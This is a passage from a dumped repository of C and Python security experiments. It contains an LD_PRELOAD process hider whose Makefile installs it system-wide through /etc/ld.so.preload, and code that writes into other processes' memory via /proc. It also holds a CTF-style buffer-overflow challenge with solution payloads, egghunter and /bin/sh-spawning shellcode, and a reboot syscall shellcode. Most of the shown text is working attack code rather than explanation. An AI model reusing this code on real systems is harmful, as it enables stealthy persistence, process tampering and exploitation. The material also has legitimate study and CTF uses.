92 | sprintf(fl, "/proc/%s/maps", pid); 93 | ptr = fopen(fl,"r"); 94 | if (ptr == NULL) exit(1); 95 | 96 | // Retrieves line with linesearch from /proc/{pid}/maps 97 | while(fgets(liner, 500, ptr)) { 98 | if (linesearch == line) { 99 | found = 1; 100 | break; 101 | } 102 | line++; 103 | } 104 | if (!found) exit(1); 105 | free(fl); 106 | strcpy(rtn, liner); 107 | return rtn; 108 | } 109 | 110 | int mem(char* pid, char* start_addr, char* end_addr) { 111 | unsigned long int s_addr = strtoul(start_addr, NULL, 16); 112 | unsigned long int e_addr = strtoul(end_addr, NULL, 16); 113 | unsigned long length = e_addr - s_addr; 114 | char *fl; 115 | int i, offset = 0; 116 | BYTE *buf = (BYTE*)malloc(length); 117 | char *buf2; 118 | fl = (char*)malloc(sizeof(char*)); 119 | sprintf(fl, "/proc/%s/mem", pid); 120 | int fd = open(fl, O_RDWR); 121 | if (fd == -1) return 1; 122 | 123 | lseek(fd, s_addr, SEEK_SET); 124 | read(fd, buf, length); 125 | // Check bytes for byte sequence of main function in child process to obtain offset address 126 | for (i=0; i 0x10 136 | lseek(fd, s_addr+offset+47, SEEK_SET); 137 | buf2 = (char[]) {0x10}; 138 | if (write(fd, buf2, 1) == -1) return 1; 139 | 140 | free(fl); 141 | free(buf); 142 | return 0; 143 | } 144 | -------------------------------------------------------------------------------- /prochollow/shellcode/shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/prochollow/shellcode/shellcode -------------------------------------------------------------------------------- /prochollow/shellcode/shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* 4 | int foo() { 5 | return 10; 6 | } 7 | 8 | > gcc -c -O3 shellcode.c 9 | > objdump -d shellcode.o 10 | 11 | -> \xb8\x0a\x00\x00\x00\xc3 12 | */ 13 | unsigned char code[] = "\xb8\x0a\x00\x00\x00\xc3"; 14 | 15 | int main() { 16 | int foo_value = 0; 17 | 18 | int (*foo)() = (int(*)())code; 19 | foo_value = foo(); 20 | 21 | printf("%d\n", foo_value); 22 | } 23 | 24 | // > gcc -fno-stack-protector -z execstack -o shellcode shellcode.c 25 | -------------------------------------------------------------------------------- /pshide/Makefile: -------------------------------------------------------------------------------- 1 | all: libprocesshider.so move append 2 | 3 | libprocesshider.so: processhider.c 4 | gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl 5 | 6 | move: 7 | mv libprocesshider.so /usr/local/lib/ 8 | 9 | append: 10 | echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload 11 | 12 | remove: 13 | rm /usr/local/lib/libprocesshider.so 14 | rm /etc/ld.so.preload 15 | 16 | .PHONY clean: 17 | rm -f libprocesshider.so 18 | -------------------------------------------------------------------------------- /pshide/README.md: -------------------------------------------------------------------------------- 1 | # psHide 2 | 3 | REF: [LibProcessHider](https://github.com/gianlucaborello/libprocesshider) 4 | -------------------------------------------------------------------------------- /pshide/evil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | 4 | def main(): 5 | print("HI") 6 | 7 | if __name__ == '__main__': 8 | while(1): 9 | main() 10 | -------------------------------------------------------------------------------- /pshide/processhider.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | /* 10 | * Every process with this name will be excluded 11 | */ 12 | static const char* process_to_filter = "evil.py"; 13 | 14 | /* 15 | * Get a directory name given a DIR* handle 16 | */ 17 | static int get_dir_name(DIR* dirp, char* buf, size_t size) 18 | { 19 | int fd = dirfd(dirp); 20 | if(fd == -1) { 21 | return 0; 22 | } 23 | 24 | char tmp[64]; 25 | snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); 26 | ssize_t ret = readlink(tmp, buf, size); 27 | if(ret == -1) { 28 | return 0; 29 | } 30 | 31 | buf[ret] = 0; 32 | return 1; 33 | } 34 | 35 | /* 36 | * Get a process name given its pid 37 | */ 38 | static int get_process_name(char* pid, char* buf) 39 | { 40 | if(strspn(pid, "0123456789") != strlen(pid)) { 41 | return 0; 42 | } 43 | 44 | char tmp[256]; 45 | snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); 46 | 47 | FILE* f = fopen(tmp, "r"); 48 | if(f == NULL) { 49 | return 0; 50 | } 51 | 52 | if(fgets(tmp, sizeof(tmp), f) == NULL) { 53 | fclose(f); 54 | return 0; 55 | } 56 | 57 | fclose(f); 58 | 59 | int unused; 60 | sscanf(tmp, "%d (%[^)]s", &unused, buf); 61 | return 1; 62 | } 63 | 64 | #define DECLARE_READDIR(dirent, readdir) \ 65 | static struct dirent* (*original_##readdir)(DIR*) = NULL; \ 66 | \ 67 | struct dirent* readdir(DIR *dirp) \ 68 | { \ 69 | if(original_##readdir == NULL) { \ 70 | original_##readdir = dlsym(RTLD_NEXT, #readdir); \ 71 | if(original_##readdir == NULL) \ 72 | { \ 73 | fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \ 74 | } \ 75 | } \ 76 | \ 77 | struct dirent* dir; \ 78 | \ 79 | while(1) \ 80 | { \ 81 | dir = original_##readdir(dirp); \ 82 | if(dir) { \ 83 | char dir_name[256]; \ 84 | char process_name[256]; \ 85 | if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \ 86 | strcmp(dir_name, "/proc") == 0 && \ 87 | get_process_name(dir->d_name, process_name) && \ 88 | strcmp(process_name, process_to_filter) == 0) { \ 89 | continue; \ 90 | } \ 91 | } \ 92 | break; \ 93 | } \ 94 | return dir; \ 95 | } 96 | 97 | DECLARE_READDIR(dirent64, readdir64); 98 | DECLARE_READDIR(dirent, readdir); 99 | -------------------------------------------------------------------------------- /reboot/Makefile: -------------------------------------------------------------------------------- 1 | CHALL = reboot 2 | CC = gcc 3 | CFLAGS = -m32 -s -D_FORTIFY_SOURCE=2 -D_GLIBCXX_ASSERTIONS -fasynchronous-unwind-tables -fexceptions -fpie -fpic -fstack-clash-protection -Wl,-z,relro -Wl,-z,now -ftrapv -z defs -fcf-protection -Wall -z execstack 4 | SOLN1 = "A"*58 + "\x50\x3d\x5d\x16\x45\x54" + "\x31\xc9\xeb\x05\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x11\x00\x11\x00\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7" + "\x35" 5 | SOLN2 = "A"*58 + "\x5f\x0f\x33\x62\x05\x13" + "\x31\xc9\xeb\x05\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x11\x00\x11\x00\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7" + "\x35" 6 | 7 | all: build 8 | 9 | build: 10 | $(CC) $(CFLAGS) $(CHALL).c -o $(CHALL) 11 | 12 | solve: 13 | python -c 'print $(SOLN1)' | ./$(CHALL) ; \ 14 | python -c 'print $(SOLN2)' | ./$(CHALL) 15 | -------------------------------------------------------------------------------- /reboot/README.md: -------------------------------------------------------------------------------- 1 | # Reboot 2 | 3 | ## Solving 4 | 5 | - TBC 6 | 7 | ## Workflow 8 | 9 | - Initialization of buffer overflow canary 10 | 11 | - Use time-randomized seed for endpoint canary to prevent excess unintended buffer overflow 12 | 13 | - Use logistics differential model to predict periodic variations of the growth limit 14 | 15 | - As such, the randomized middle canary is predictable 16 | 17 | ### ![Canary](img/1.png) 18 | 19 | - Buffer overflow exploitable array structure 20 | 21 | 1. Input buffer (58 bytes) 22 | 23 | 2. Middle canary (6 bytes) 24 | 25 | 3. Shellcode (34 bytes) 26 | 27 | 4. XOR value (2 bytes) -> extra byte for newline char 28 | 29 | 5. End canary (100 bytes) 30 | 31 | - Use scanf for buffer overflow vulnerability 32 | 33 | ### ![Buffer structure](img/2.png) 34 | 35 | - Checks for changed canary values, then exits if modified 36 | 37 | - Initialize exploit array by XOR (overflow) and SUB ('\x06') 38 | 39 | - Run overflow vulnerable shellcode array (Reboots if not modified) 40 | 41 | ### ![Running exploit](img/3.png) 42 | 43 | - Corrupted headers for anti-debugging 44 | 45 | - Edited ELF program header table to include egg pattern, preventing egghunter from finding the hidden shellcode when run 46 | -------------------------------------------------------------------------------- /reboot/history/print.asm: -------------------------------------------------------------------------------- 1 | global _start 2 | 3 | section .text 4 | 5 | _start: 6 | jmp MESSAGE ; 1) lets jump to MESSAGE 7 | 8 | GOBACK: 9 | mov eax, 0x4 10 | mov ebx, 0x1 11 | pop ecx ; 3) we are poping into `ecx`, now we have the 12 | ; address of the string 13 | mov edx, 35 14 | int 0x80 15 | 16 | mov eax, 0x1 17 | mov ebx, 0x0 18 | int 0x80 19 | 20 | MESSAGE: 21 | call GOBACK ; 2) we are going back, since we used `call`, that means 22 | ; the return address, which is in this case the address 23 | ; of the string, is pushed into the stack. 24 | db "3gg_Hun71ng_15n7_my_f0r73_123884793", 0dh, 0ah 25 | 26 | section .data 27 | -------------------------------------------------------------------------------- /reboot/history/read.asm: -------------------------------------------------------------------------------- 1 | global _start 2 | 3 | 4 | section .text 5 | 6 | _start: 7 | xor ecx,ecx 8 | xor eax,eax 9 | xor edx,edx ; longer way to clear these 3 registers 10 | mov al,0x5 11 | push edx ; can switch this to any of the cleared registers as we're just pushing a null, changed to edx 12 | push dword 0x7478742e 13 | push dword 0x67616c66 14 | mov ebx,esp 15 | int 0x80 16 | push eax ; Step 1 17 | push ebx ; Step 2 18 | push ecx ; Step 3 19 | pop eax ; Step 4 20 | pop ecx ; Step 5 21 | pop ebx ; Step 6, we just replaced two simple xchg opcodes with 6 lines of push/pops 22 | mov al,0x3 23 | mov dx,0xfff ; deleted previous line which was xor edx,edx since edx is still zeroed 24 | inc edx 25 | int 0x80 26 | push eax ; Step 1 27 | push edx ; Step 2 28 | pop eax ; Step 3 29 | pop edx ; Step 4, we just replaced a simple xchg opcde with 4 lines of push/pops 30 | xor eax,eax 31 | mov al,0x4 32 | mov bl,0x1 33 | int 0x80 34 | push eax ; Step 1 35 | push ebx ; Step 2 36 | pop eax ; Step 3 37 | pop ebx ; Step 4, we just replaced a simple xchg opcode with 4 lines of push/pops 38 | 39 | -------------------------------------------------------------------------------- /reboot/history/reboot.asm: -------------------------------------------------------------------------------- 1 | ; reboot.asm 2 | BITS 32 3 | GLOBAL main 4 | SECTION .text 5 | main: 6 | xor eax, eax ; Clearing the EAX register 7 | xor ebx, ebx ; Clearing the EBX register 8 | xor ecx, ecx ; Clearing the ECX register 9 | cdq ; Clearing the EDX register 10 | mov al, 0x58 ; Loading syscall value = 0x58 for reboot in AL 11 | mov ebx, 0xfee1dead ; Loading magic 1 in EBX 12 | mov ecx, 672274793 ; Loading magic 2 in ECX 13 | mov edx, 0x1234567 ; Loading cmd val = LINUX_REBOOT_CMD_RESTART in EDX 14 | int 0x80 ; Executing the reboot syscall 15 | 16 | -------------------------------------------------------------------------------- /reboot/history/shell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | unsigned char egghunter[] = "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"; 5 | 6 | unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50\xba\xec\xc4\x30\xdf\xdb\xd1\xd9\x74\x24\xf4\x5e\x31\xc9\xb1" 7 | "\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x19\xae\x3b\x87" 8 | "\x78\x7d\x5a\x5f\x57\xe1\x2b\x78\xcf\xca\x58\xef\x0f\x7d\xb0" 9 | "\x8d\x66\x13\x47\xb2\x2a\x03\x5f\x35\xca\xd3\x4f\x57\xa3\xbd" 10 | "\xa0\xe4\x5b\x42\xe8\x59\x12\xa3\xdb\xde"; // CHANGE ME | Gen. using: msfvenom -p linux/x86/exec CMD=/bin/sh --arch x86 -f c -b "\x00" 11 | 12 | 13 | int main(int argc, char* argv[]) 14 | { 15 | printf("Egg hunter length(Primary payload): %d\n", strlen((const char*)egghunter)); 16 | printf("Shellcode length(Secondary payload): %d\n", strlen((const char*)shellcode)-8); 17 | int (*ret)() = (int(*)())egghunter; 18 | ret(); 19 | } 20 | -------------------------------------------------------------------------------- /reboot/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/reboot/img/1.png -------------------------------------------------------------------------------- /reboot/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/reboot/img/2.png -------------------------------------------------------------------------------- /reboot/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/reboot/img/3.png -------------------------------------------------------------------------------- /reboot/reboot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/reboot/reboot -------------------------------------------------------------------------------- /reboot/reboot.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | // Buffer overflow middle canary 10 | #define KEY_LEN 6 11 | // Buffer overflow endpoint canary 12 | #define OVR_LEN 100 13 | 14 | // Read flag.txt 15 | // Exploit length to xor_sub with 16 | //#define XPL_LEN 54 17 | // Egghunter exploit 18 | //unsigned char exploit[] = "\x11\x00\x11\x00\x11\x00\x11\x00" 19 | //"\x31\xc9\x31\xc0\x31\xd2\xb0\x05\x52\x68\x2e\x74\x78\x74\x68\x66\x6c\x61\x67\x89\xe3\xcd\x80\x50\x53\x51\x58\x59\x5b\xb0\x03\x66\xba\xff\x0f\x42\xcd\x80\x50\x52\x58\x5a\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x50\x53\x58\x5b"; 20 | 21 | // Print flag 22 | // Exploit length to xor_sub with 23 | #define XPL_LEN 76 24 | // Egghunter exploit 25 | unsigned char exploit[] = "\x11\x00\x11\x00\x11\x00\x11\x00" 26 | // Original 27 | //"\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x24\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\x33\x67\x67\x5f\x48\x75\x6e\x37\x31\x6e\x67\x5f\x31\x35\x6e\x37\x5f\x6d\x79\x5f\x66\x30\x72\x37\x33\x5f\x31\x32\x33\x38\x38\x34\x37\x39\x33\x0a"; 28 | // Encoded 29 | "\xe2\x31\x3b\x3b\x3b\x93\x37\x3b\x3b\x3b\x94\x3a\x3b\x3b\x3b\x72\x95\x17\x3b\x3b\x3b\xfe\xbb\x93\x3a\x3b\x3b\x3b\x94\x3b\x3b\x3b\x3b\xfe\xbb\xe3\xee\xd0\xd0\xd0\x0c\x58\x58\x70\x83\x46\x61\x08\x0a\x61\x58\x70\x0a\x06\x61\x08\x70\x5e\x52\x70\x59\x0b\x4d\x08\x0c\x70\x0a\x0d\x0c\x13\x13\x07\x08\x12\x0c\x45"; 30 | 31 | // Canary pointers 32 | char key[KEY_LEN], overflow[OVR_LEN]; 33 | // Randomize canary values 34 | void calc_canary() { 35 | // Randomize endpoint canary values with time 36 | srand(time(NULL)); 37 | for (int i=0; i 2 | #include 3 | #include 4 | 5 | bool is_printable( char c ) 6 | { 7 | return !( c & (1 << 7) ); 8 | } 9 | 10 | void c(char *buf, ...) 11 | { 12 | va_list args; 13 | va_start (args, buf); /* Initialize the argument args. */ 14 | 15 | char arg = va_arg(args, int); 16 | 17 | while( arg ) { 18 | sprintf(buf, "%s%c", buf, arg); 19 | arg = va_arg(args, int); 20 | } 21 | 22 | va_end (args); /* Clean up. */ 23 | } 24 | 25 | 26 | int main(int argc, char const *argv[]) 27 | { 28 | char str[512] = {0}; 29 | c(str, 'E','x','a','m','p', 'l', 'e', '\0'); 30 | 31 | printf("The word is: %s\n", str); 32 | printf("It's size is: %zu\n", strlen(str)); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /rewrite/history/hide_secret.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define VNAMEMAX 20 6 | #define VVALUEMAX 200 7 | 8 | typedef struct 9 | { 10 | char vname[VNAMEMAX]; 11 | char vvalue[VVALUEMAX]; 12 | }VDEF_T; 13 | 14 | 15 | VDEF_T v[] = 16 | { 17 | {.vname = "hp",.vvalue = "[heap]"}, 18 | {.vname = "mps",.vvalue = "/proc/%d/maps" }, 19 | {.vname = "mmy",.vvalue = "/proc/%d/mem" }, 20 | {.vname = "nd",.vvalue = "531f_m0d1fy1ng_4173rn471v3_39475829" }, 21 | {0,}, 22 | }; 23 | 24 | int code(VDEF_T *v, char *fname, int c) 25 | { 26 | FILE *fp = fopen(fname, "wt"); 27 | int result = (fp == NULL) * -1; 28 | 29 | if (!result) 30 | { 31 | fprintf(fp, "#ifndef _SEC\n#define _SEC\n\n\n"); 32 | while (!result && v->vname[0]) 33 | { 34 | fprintf(fp, "static unsigned char %s[] = {\n\t\t", v->vname); 35 | for (int i = 0; i <= strlen(v->vvalue); i++) 36 | { 37 | if (fprintf(fp, "0x%02x,", v->vvalue[i] + c) < 0) 38 | { 39 | result = -1; 40 | break; 41 | } 42 | } 43 | if (fprintf(fp, "};\n\n") < 0) result = -1; 44 | v++; 45 | } 46 | if(fprintf(fp, "#endif") < 0) result = -1; 47 | fclose(fp); 48 | } 49 | return result; 50 | } 51 | 52 | int main() { 53 | code(v, "temp", 0x56); 54 | } 55 | -------------------------------------------------------------------------------- /rewrite/history/read_write_heap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | ''' 3 | Locates and replaces the first occurrence of a string in the heap 4 | of a process 5 | 6 | Usage: ./read_write_heap.py PID search_string replace_by_string 7 | Where: 8 | - PID is the pid of the target process 9 | - search_string is the ASCII string you are looking to overwrite 10 | - replace_by_string is the ASCII string you want to replace 11 | search_string with 12 | ''' 13 | 14 | import sys 15 | 16 | def print_usage_and_exit(): 17 | print('Usage: {} pid search write'.format(sys.argv[0])) 18 | sys.exit(1) 19 | 20 | # check usage 21 | if len(sys.argv) != 4: 22 | print_usage_and_exit() 23 | 24 | # get the pid from args 25 | pid = int(sys.argv[1]) 26 | if pid <= 0: 27 | print_usage_and_exit() 28 | search_string = str(sys.argv[2]) 29 | if search_string == "": 30 | print_usage_and_exit() 31 | write_string = str(sys.argv[3]) 32 | if search_string == "": 33 | print_usage_and_exit() 34 | 35 | # open the maps and mem files of the process 36 | maps_filename = "/proc/{}/maps".format(pid) 37 | print("[*] maps: {}".format(maps_filename)) 38 | mem_filename = "/proc/{}/mem".format(pid) 39 | print("[*] mem: {}".format(mem_filename)) 40 | 41 | # try opening the maps file 42 | try: 43 | maps_file = open('/proc/{}/maps'.format(pid), 'r') 44 | except IOError as e: 45 | print("[ERROR] Can not open file {}:".format(maps_filename)) 46 | print(" I/O error({}): {}".format(e.errno, e.strerror)) 47 | sys.exit(1) 48 | 49 | for line in maps_file: 50 | sline = line.split(' ') 51 | # check if we found the heap 52 | if sline[-1][:-1] != "[heap]": 53 | continue 54 | print("[*] Found [heap]:") 55 | 56 | # parse line 57 | addr = sline[0] 58 | perm = sline[1] 59 | offset = sline[2] 60 | device = sline[3] 61 | inode = sline[4] 62 | pathname = sline[-1][:-1] 63 | print("\tpathname = {}".format(pathname)) 64 | print("\taddresses = {}".format(addr)) 65 | print("\tpermisions = {}".format(perm)) 66 | print("\toffset = {}".format(offset)) 67 | print("\tinode = {}".format(inode)) 68 | 69 | # check if there is read and write permission 70 | if perm[0] != 'r' or perm[1] != 'w': 71 | print("[*] {} does not have read/write permission".format(pathname)) 72 | maps_file.close() 73 | exit(0) 74 | 75 | # get start and end of the heap in the virtual memory 76 | addr = addr.split("-") 77 | if len(addr) != 2: # never trust anyone, not even your OS :) 78 | print("[*] Wrong addr format") 79 | maps_file.close() 80 | exit(1) 81 | addr_start = int(addr[0], 16) 82 | addr_end = int(addr[1], 16) 83 | print("\tAddr start [{:x}] | end [{:x}]".format(addr_start, addr_end)) 84 | 85 | # open and read mem 86 | try: 87 | mem_file = open(mem_filename, 'rb+') 88 | except IOError as e: 89 | print("[ERROR] Can not open file {}:".format(mem_filename)) 90 | print(" I/O error({}): {}".format(e.errno, e.strerror)) 91 | maps_file.close() 92 | exit(1) 93 | 94 | # read heap 95 | mem_file.seek(addr_start) 96 | heap = mem_file.read(addr_end - addr_start) 97 | 98 | # find string 99 | try: 100 | i = heap.index(bytes(search_string, "ASCII")) 101 | except Exception: 102 | print("Can't find '{}'".format(search_string)) 103 | maps_file.close() 104 | mem_file.close() 105 | exit(0) 106 | print("[*] Found '{}' at {:x}".format(search_string, i)) 107 | 108 | # write the new string 109 | print("[*] Writing '{}' at {:x}".format(write_string, addr_start + i)) 110 | mem_file.seek(addr_start + i) 111 | mem_file.write(bytes(write_string, "ASCII")) 112 | 113 | # close files 114 | maps_file.close() 115 | mem_file.close() 116 | 117 | # there is only one heap in our example 118 | break 119 | 120 | 121 | -------------------------------------------------------------------------------- /rewrite/history/rewrite1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(void) 7 | { 8 | char *s; 9 | unsigned long int i; 10 | 11 | s = strdup("Holberton"); 12 | if (s == NULL) 13 | { 14 | fprintf(stderr, "Can't allocate mem with malloc\n"); 15 | return (EXIT_FAILURE); 16 | } 17 | i = 0; 18 | while (s) 19 | { 20 | printf("[%lu] %s (%p)\n", i, s, (void *)s); 21 | sleep(1); 22 | i++; 23 | } 24 | return (EXIT_SUCCESS); 25 | } 26 | -------------------------------------------------------------------------------- /rewrite/history/rewrite2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | void sp(int); 9 | void fp(unsigned long int*, unsigned long*, int*); 10 | int mp(unsigned long int*, unsigned long*, int*); 11 | int mm(unsigned long int*, unsigned long*, int*); 12 | 13 | char *s; 14 | char *addr, *perm, *addr1, *addr2; 15 | int out, cnt = 2; 16 | 17 | int main(void) 18 | { 19 | pid_t f; 20 | char *ad_buf=(char*)malloc(sizeof(char*)), *leng_buf=(char*)malloc(sizeof(char*)), *pid_buf=(char*)malloc(sizeof(char*)); 21 | unsigned long int ad; 22 | unsigned long leng; 23 | int pid; 24 | int pip1[2]; 25 | int pip2[2]; 26 | int pip3[2]; 27 | if (pipe(pip1)==-1 || pipe(pip2)==-1 || pipe(pip3)==-1) { 28 | puts("Pipe Failed"); 29 | return 1; 30 | } 31 | 32 | s = strdup("Initial Data"); 33 | if (s == NULL) 34 | { 35 | puts("Can't allocate mem with malloc"); 36 | return 1; 37 | } 38 | f = fork(); 39 | pid = 0; 40 | if (f < 0) { 41 | puts("Error forking"); 42 | return 1; 43 | } else if (f == 0) { 44 | close(pip1[1]); 45 | close(pip2[1]); 46 | close(pip3[1]); 47 | read(pip1[0], ad_buf, 100); 48 | read(pip2[0], leng_buf, 100); 49 | read(pip3[0], pid_buf, 100); 50 | 51 | ad = strtoul(ad_buf, NULL, 16); 52 | leng = strtol(leng_buf, NULL, 10); 53 | pid = strtol(pid_buf, NULL, 10); 54 | 55 | out = mp(&ad, &leng, &pid); 56 | if (out==1) { 57 | puts("Error"); 58 | return 1; 59 | } 60 | out = mm(&ad, &leng, &pid); 61 | if (out==1) { 62 | puts("Error"); 63 | return 1; 64 | } 65 | 66 | free(ad_buf); 67 | free(leng_buf); 68 | free(pid_buf); 69 | } else { 70 | close(pip1[0]); 71 | close(pip2[0]); 72 | close(pip3[0]); 73 | fp(&ad, &leng, &pid); 74 | sprintf(ad_buf, "%lx", ad); 75 | sprintf(leng_buf, "%lu", leng); 76 | sprintf(pid_buf, "%d", pid); 77 | 78 | write(pip1[1], ad_buf, strlen(ad_buf)+1); 79 | close(pip1[1]); 80 | write(pip2[1], leng_buf, strlen(leng_buf)+1); 81 | close(pip2[1]); 82 | write(pip3[1], pid_buf, strlen(pid_buf)+1); 83 | close(pip3[1]); 84 | 85 | sp(cnt); 86 | 87 | free(ad_buf); 88 | free(leng_buf); 89 | free(pid_buf); 90 | } 91 | return 0; 92 | } 93 | 94 | void fp(unsigned long int* ad, unsigned long* leng, int* pid) { 95 | *pid = getpid(); 96 | *ad = (long unsigned int)s; 97 | *leng = strlen(s)+1; 98 | } 99 | 100 | void sp(int num) { 101 | unsigned long int i; 102 | i = 0; 103 | while (s) 104 | { 105 | if (i==num) return; 106 | printf("[%lu] %s\n", i, s); 107 | sleep(1); 108 | i++; 109 | } 110 | return; 111 | } 112 | 113 | int mp(unsigned long int* ad, unsigned long* leng, int* pid) { 114 | FILE *ptr; 115 | char *fl, *line; 116 | size_t len = 0; 117 | ssize_t read; 118 | fl = (char*)malloc(sizeof(char*)); 119 | sprintf(fl, "/proc/%d/maps", *pid); 120 | ptr = fopen(fl, "r"); 121 | if (!ptr) return 1; 122 | while((read = getline(&line, &len, ptr))!= -1) { 123 | if (strstr(line, "[heap]")) { 124 | addr = strtok(line, " "); 125 | perm = strtok(NULL, " "); 126 | if (perm[0] != 'r' || perm[1] != 'w') return 1; 127 | 128 | addr1 = strtok(addr, "-"); 129 | addr2 = strtok(NULL, "-"); 130 | if (!addr1 || !addr2) return 1; 131 | break; 132 | } 133 | } 134 | fclose(ptr); 135 | free(fl); 136 | return 0; 137 | } 138 | 139 | int mm(unsigned long int* ad, unsigned long* leng, int* pid) { 140 | char *fl, *buf = malloc(*leng); 141 | fl = (char*)malloc(sizeof(char*)); 142 | sprintf(fl, "/proc/%d/mem", *pid); 143 | int fd = open(fl, O_RDWR); 144 | if (fd == -1) return 1; 145 | 146 | lseek(fd, *ad, SEEK_SET); 147 | read(fd, buf, *leng); 148 | 149 | strncpy(buf, "New Data", *leng); 150 | lseek(fd, *ad, SEEK_SET); 151 | if (write(fd, buf, *leng) == -1) { 152 | puts("Error overwriting"); 153 | return 1; 154 | } 155 | 156 | free(fl); 157 | free(buf); 158 | return 0; 159 | } 160 | -------------------------------------------------------------------------------- /rewrite/history/rewrite3.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | void sp(int); 11 | void fp(unsigned long int*, unsigned long*, int*); 12 | int mp(unsigned long int*, unsigned long*, int*, int*, int, int*, int); 13 | int mm(unsigned long int*, unsigned long*, int*, int*, int, int*, int); 14 | char *de(int*, int, int); 15 | void c(char *buf, ...); 16 | 17 | char s[512]={0}; 18 | char *adr, *perm, *ad1, *ad2; 19 | int out, cnt = 2; 20 | 21 | int main(void) 22 | { 23 | pid_t f; 24 | char *ad_buf=(char*)malloc(sizeof(char*)), *leng_buf=(char*)malloc(sizeof(char*)), *pid_buf=(char*)malloc(sizeof(char*)); 25 | unsigned long int ad; 26 | unsigned long leng; 27 | int pid; 28 | 29 | int hp[] = {0x75,0x82,0x7f,0x7b,0x8a,0x77,0x1a,}; 30 | int mps[] = {0x49,0x8a,0x8c,0x89,0x7d,0x49,0x3f,0x7e,0x49,0x87,0x7b,0x8a,0x8d,0x1a,}; 31 | int mmy[] = {0x49,0x8a,0x8c,0x89,0x7d,0x49,0x3f,0x7e,0x49,0x87,0x7f,0x87,0x1a,}; 32 | int nd[] = {0x8b,0x89,0x87,0xbc,0xb5,0xc3,0x86,0xba,0x87,0xbc,0xcf,0x87,0xc4,0xbd,0xb5,0x8a,0x87,0x8d,0x89,0xc8,0xc4,0x8a,0x8d,0x87,0xcc,0x89,0xb5,0x89,0x8f,0x8a,0x8d,0x8b,0x8e,0x88,0x8f,0x56,}; 33 | 34 | int pip1[2]; 35 | int pip2[2]; 36 | int pip3[2]; 37 | if (pipe(pip1)==-1 || pipe(pip2)==-1 || pipe(pip3)==-1) { 38 | puts("Incorrect"); 39 | return 1; 40 | } 41 | 42 | c(s, 'T','h','i','s',' ','I','n','i','t','i','a','l',' ','D','a','t','a',' ','i','s',' ','s','t','i','l','l',' ','n','o','t',' ','e','n','o','u','g','h','\0'); 43 | if (s == NULL) 44 | { 45 | puts("Incorrect"); 46 | return 1; 47 | } 48 | f = fork(); 49 | pid = 0; 50 | if (f < 0) { 51 | puts("Incorrect"); 52 | return 1; 53 | } else if (f == 0) { 54 | close(pip1[1]); 55 | close(pip2[1]); 56 | close(pip3[1]); 57 | read(pip1[0], ad_buf, 100); 58 | read(pip2[0], leng_buf, 100); 59 | read(pip3[0], pid_buf, 100); 60 | 61 | ad = strtoul(ad_buf, NULL, 16); 62 | leng = strtol(leng_buf, NULL, 10); 63 | pid = strtol(pid_buf, NULL, 10); 64 | 65 | out = mp(&ad, &leng, &pid, hp, sizeof(hp)/sizeof(hp[0]), mps, sizeof(mps)/sizeof(mps[0])); 66 | if (out==1) { 67 | puts("Incorrect"); 68 | return 1; 69 | } 70 | out = mm(&ad, &leng, &pid, mmy, sizeof(mmy)/sizeof(mmy[0]), nd, sizeof(nd)/sizeof(nd[0])); 71 | if (out==1) { 72 | puts("Incorrect"); 73 | return 1; 74 | } 75 | 76 | free(ad_buf); 77 | free(leng_buf); 78 | free(pid_buf); 79 | } else { 80 | close(pip1[0]); 81 | close(pip2[0]); 82 | close(pip3[0]); 83 | fp(&ad, &leng, &pid); 84 | sprintf(ad_buf, "%lx", ad); 85 | sprintf(leng_buf, "%lu", leng); 86 